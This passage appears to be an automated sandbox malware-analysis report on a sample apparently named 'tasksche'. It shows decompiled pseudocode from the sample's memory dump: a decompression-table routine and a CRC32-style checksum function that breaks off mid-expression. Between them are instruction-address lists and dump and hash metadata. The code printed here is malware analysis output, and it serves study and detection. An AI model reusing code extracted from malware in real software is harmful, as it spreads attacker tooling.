											goto L40;
										}
										_t229 = _a32 + _t228 * 8;
										_v32 = _t229;
										_t287 = _t323 + _v12 * 4 - 0xf0;
										 *_t287 = _t229;
										 *_a36 = _t319;
										_t231 = _v12;
										if(_t231 == 0) {
											 *_a24 = _v32;
										} else {
											_t321 = _v16;
											 *(_t323 + _t231 * 4 - 0xb4) = _t321;
											_t233 = _a28;
											_v44 = _t271;
											_v43 = _t233;
											_t235 = _t321 >> _t246 - _t233;
											_t275 =  *((intOrPtr*)(_t287 - 4));
											_t302 = (_v32 - _t275 >> 3) - _t235;
											 *(_t275 + _t235 * 8) = _v44;
											 *(_t275 + 4 + _t235 * 8) = _t302;
										}
										_t207 = _v56;
									} while (_v8 > _t207);
									_t280 = 0;
									goto L46;
									L62:
									_v24 = _v24 - 1;
								} while (_v24 != 0);
								L63:
								_v8 = _v8 + 1;
								_v36 = _v36 + 4;
								_v48 = _v48 + 1;
							} while (_v8 <= _v28);
							goto L64;
						}
						_t306 = 0;
						do {
							_t251 = _t251 +  *((intOrPtr*)(_t323 + _t306 - 0x70));
							_t306 = _t306 + 4;
							_t195 = _t195 - 1;
							 *((intOrPtr*)(_t323 + _t306 - 0xb0)) = _t251;
						} while (_t195 != 0);
						goto L24;
					} else {
						_t322 = _t323 + _t249 * 4 - 0x74;
						while(1) {
							_t247 = _t242 -  *_t322;
							if(_t247 < 0) {
								break;
							}
							_t249 = _t249 + 1;
							_t322 = _t322 + 4;
							_t242 = _t247 << 1;
							if(_t249 < _t193) {
								continue;
							}
							goto L20;
						}
						L39:
						_push(0xfffffffd);
						L67:
						_pop(_t194);
						return _t194;
					}
				}
				 *_a24 = 0;
				 *_a28 = 0;
				goto L4;
			}

0x00404c22
0x00404c28
0x00404c2b
0x00404c2d
0x00404c30
0x00404c33
0x00404c36
0x00404c39
0x00404c3c
0x00404c3f
0x00404c42
0x00404c45
0x00404c48
0x00404c4b
0x00404c4e
0x00404c51
0x00404c54
0x00404c57
0x00404c5a
0x00404c5d
0x00404c5f
0x00404c5f
0x00404c61
0x00404c64
0x00404c6c
0x00404c6c
0x00404c72
0x00404c85
0x00404c8a
0x00404c8b
0x00404c8e
0x00404c90
0x00404c92
0x00404c95
0x00404c99
0x00404c9a
0x00404ca0
0x00000000
0x00000000
0x00000000
0x00404ca0
0x00404ca4
0x00404ca7
0x00404ca9
0x00404ca9
0x00404cae
0x00404cb1
0x00404cb2
0x00404cb6
0x00404cb7
0x00404cbc
0x00000000
0x00000000
0x00000000
0x00404cbc
0x00404cc1
0x00404cc4
0x00404cc6
0x00404cc6
0x00404ccc
0x00404cd0
0x00404cd2
0x00404cea
0x00404cec
0x00404cef
0x00404cf3
0x00404cf7
0x00404cf9
0x00404cfc
0x00000000
0x00000000
0x00404d04
0x00404d0a
0x00404d0c
0x00404d0e
0x00404d0f
0x00404d24
0x00404d24
0x00404d27
0x00404d29
0x00404d29
0x00404d2b
0x00404d30
0x00404d32
0x00404d43
0x00404d47
0x00404d49
0x00404d49
0x00404d4b
0x00404d4c
0x00404d5b
0x00404d5f
0x00404d65
0x00404d68
0x00404d6b
0x00404d6e
0x00404d73
0x00404d79
0x00404d7f
0x00404d82
0x00404d85
0x00404f85
0x00404f88
0x00404c7e
0x00000000
0x00404f98
0x00404f98
0x00000000
0x00404f98
0x00404f88
0x00404d95
0x00404d98
0x00404d9b
0x00404d9e
0x00404da5
0x00404da8
0x00000000
0x00000000
0x00000000
0x00000000
0x00404dae
0x00404dae
0x00404db1
0x00404db6
0x00404e9a
0x00404ea2
0x00404ea8
0x00404eab
0x00404eb0
0x00404eb8
0x00404ebd
0x00404ed9
0x00404ee2
0x00404ee8
0x00404ebf
0x00404ec4
0x00404ec6
0x00404ece
0x00404ece
0x00404eeb
0x00404eef
0x00404ef9
0x00404efa
0x00404efe
0x00404f03
0x00404f23
0x00404f28
0x00404f29
0x00404f2b
0x00404f2e
0x00404f32
0x00404f34
0x00404f34
0x00404f3d
0x00404f40
0x00404f47
0x00404f4b
0x00404f54
0x00000000
0x00000000
0x00404f56
0x00404f59
0x00404f5c
0x00404f5c
0x00000000
0x00404f47
0x00404f08
0x00404f0b
0x00404f0e
0x00404f10
0x00404f17
0x00404f1a
0x00404f1c
0x00404f21
0x00000000
0x00404f21
0x00404eb2
0x00000000
0x00000000
0x00000000
0x00000000
0x00404dbc
0x00404dbc
0x00404dbc
0x00404dbf
0x00404dc4
0x00404dc6
0x00404dcc
0x00404dd0
0x00404dd3
0x00404dd5
0x00404dd5
0x00404de0
0x00404de2
0x00404de3
0x00404de5
0x00404de8
0x00404e17
0x00404e1c
0x00404e1d
0x00404e1f
0x00404e21
0x00404e24
0x00404e2d
0x00000000
0x00000000
0x00404dea
0x00404dea
0x00404df3
0x00404df8
0x00000000
0x00000000
0x00000000
0x00000000
0x00404dfa
0x00404dfa
0x00404dfa
0x00404dfe
0x00000000
0x00000000
0x00404e00
0x00404e03
0x00404e06
0x00404e0a
0x00000000
0x00000000
0x00404e0c
0x00404e0c
0x00000000
0x00404dfa
0x00404e32
0x00404e38
0x00404e3b
0x00404e42
0x00404e47
0x00404e49
0x00404e4e
0x00404e8a
0x00404e50
0x00404e50
0x00404e56
0x00404e5d
0x00404e60
0x00404e65
0x00404e6c
0x00404e6e
0x00404e79
0x00404e7b
0x00404e7e
0x00404e7e
0x00404e8c
0x00404e8f
0x00404e98
0x00000000
0x00404f61
0x00404f64
0x00404f67
0x00404f6f
0x00404f6f
0x00404f72
0x00404f79
0x00404f7c
0x00000000
0x00404d9b
0x00404d11
0x00404d13
0x00404d13
0x00404d17
0x00404d1a
0x00404d1b
0x00404d1b
0x00000000
0x00404cd4
0x00404cd4
0x00404cd8
0x00404cd8
0x00404cda
0x00000000
0x00000000
0x00404ce0
0x00404ce1
0x00404ce4
0x00404ce8
0x00000000
0x00000000
0x00000000
0x00404ce8
0x00404e10
0x00404e10
0x00404f9a
0x00404f9a
0x00000000
0x00404f9a
0x00404cd2
0x00404c77
0x00404c7c
0x00000000

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39bb7c4b20325c44dd8699449145d0d2bc85238f2d0020d1ee85a7bd7e705017
Instruction ID: 9637f4fcf05056c634a246d4ec164b1eccd92df816b65a9601eba7856632ad8a
Opcode Fuzzy Hash: 39bb7c4b20325c44dd8699449145d0d2bc85238f2d0020d1ee85a7bd7e705017
Instruction Fuzzy Hash: 36D1F5B1A002199FDF14CFA9D9805EDBBB1FF88314F25826AD959B7390D734AA41CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0040541F Relevance: .1, Instructions: 104
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0040541F(signed int _a4, signed char* _a8, unsigned int _a12) {
				signed int _t35;
				signed char* _t73;
				signed char* _t74;
				signed char* _t75;
				signed char* _t76;
				signed char* _t77;
				signed char* _t78;
				signed char* _t79;
				unsigned int _t85;

				_t73 = _a8;
				if(_t73 != 0) {
					_t35 =  !_a4;
					if(_a12 >= 8) {
						_t85 = _a12 >> 3;
						do {
							_a12 = _a12 - 8;
							_t74 =  &(_t73[1]);
							_t75 =  &(_t74[1]);
							_t76 =  &(_t75[1]);
							_t77 =  &(_t76[1]);
							_t78 =  &(_t77[1]);
							_t79 =  &(_t78[1]);
							_t35 = ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t75[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t76[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t75[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t77[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t75[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t76[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t75[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t78[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t75[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t76[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t75[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t77[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t75[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t76[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t75[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008 ^  *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t75[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t76[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t75[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t77[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t75[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t76[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t75[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t74[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) >> 0x00000008) & 0x000000ff ^ _t78[1] & 0x000000ff) * 4) ^ ( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (( *(0x40d054 + (_t35 & 0x000000ff ^  *_t73 & 0x000000ff) * 4) ^ _t35 >> 0x00000008) & 0x000000ff ^  *_t74 & 0x000000ff) * 4) ^ ( *(0x40d054 